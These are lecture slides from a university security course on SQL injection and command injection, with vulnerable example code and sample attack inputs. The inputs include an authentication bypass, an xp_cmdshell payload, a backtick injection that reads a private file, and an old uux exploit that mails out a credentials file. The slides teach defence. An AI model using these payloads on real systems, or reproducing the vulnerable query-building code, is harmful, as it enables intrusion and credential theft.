Lesson 5.3: SQL Injections

SECURITY VULNERABILITIES IN C/C++ PROGRAMMING

SQL Injections

Matt Bishop, Ph.D.
Professor of Computer Science,
UC Davis

UCDAVIS
Continuing and Professional Education

Copyright ©The Regents of the University of California

Slide 1: SQL Injection

SQL Injection

Externally supplied input crafts the existing SQL command into a new command that does something inimical

Copyright ©The Regents of the University of California

Slide 2: SQL Injection Example

SQL Injection Example

Web app code:	`SQLQuery = "SELECT Username FROM Users WHERE Username = '" & strUsername & "' AND Password = '" & strPassword & "'"`
	`strAuthCheck = GetQueryResult (SQLQuery)`
	`if strAuthCheck = "" then`
	`  boolAuthenticated = False`
	`else`
	`  boolAuthenticated = True`
	`End if`

Fill out form with login & password 'OR' '='	`SQLQuery = "SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''=''"`
Result:	`boolAuthenticated = True`

Copyright ©The Regents of the University of California

Slide 3: Microsoft SQL

Microsoft SQL

Has a built-in function enabling shell command execution

Here, $user_input from untrusted source

```
SELECT ITEM,PRICE FROM PRODUCT WHERE
      ITEM_CATEGORY='$user_input' ORDER BY PRICE
```

User supplies this:

```
'; exec master..xp_cmdshell
'dir' –
```

You get this:

```
SELECT ITEM,PRICE FROM PRODUCT
WHERE ITEM_CATEGORY=''; exec
master..xp_cmdshell'dir' –'
ORDER BY PRICE
```

Copyright ©The Regents of the University of California

Slide 4: Parsing This…

Parsing This…

First SQL query:

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='';
```

Second SQL query, executing command dir:

```
exec master..xp_cmdshell 'dir'
```

Trailing comment

```
--' ORDER BY PRICE
```

Copyright ©The Regents of the University of California

Slide 5: Take Care While Filtering

Take Care While Filtering

Have a list of allowed characters

- Whitelist; meets principle of fail-safe defaults

Often allow "-" as legal character

- But "- -" begins an SQL comment
- Check structure as well as characters

Copyright ©The Regents of the University of California

Slide 6: Take Care While Filtering

Take Care While Filtering

If requesting name, usually allow apostrophe

- O'Connor, O'Laughlin
- But apostrophe special char to SQL, and can alter meaning of the command

Need to be very careful with email addresses!

Copyright ©The Regents of the University of California

Slide 7: Command Injection

Command Injection

Externally supplied input crafts the existing command into a new command that does something inimical

Copyright ©The Regents of the University of California

Slide 8: Command Injection Example

Command Injection Example

In a privileged program:

```
if (address = getusername(stdin)) == NULL)
      return(-1);
(void) snprintf(cmd, 1024, “cat letter | mail %s”, address)
system(cmd);
```

User enters:

```
`echo me@myhost; cat privfile`
```

Copy of protected *privfile* now appears

Copyright ©The Regents of the University of California

Slide 9: Why Blacklists Are Dangeroud

Why Blacklists Are Dangerous

Communications program *uux* enabled remote execution of command

```
uux ‘a!cat /usr/xyzzy/plugh’
```

sends contents of /usr/xyzzy/plugh to user executing command

You can whitelist commands

- Checked at beginning of command, and after “;”, “|”, “^”
- Set of commands tightly restricted (rmail, usually)

Copyright ©The Regents of the University of California

Slide 10: But…

But…

Metacharacters checked were from UNIX v6 shell

New characters added in v7 (Bourne) shell: “`”, “&”

So this worked:

```
uux - ‘a!rmail here!me `/bin/sh`’
cat /usr/lib/uucp/L.sys | mail here!me
^D
```

And you get a copy of the *uucp* connection file, including logins, passwords, and phone numbers

Copyright ©The Regents of the University of California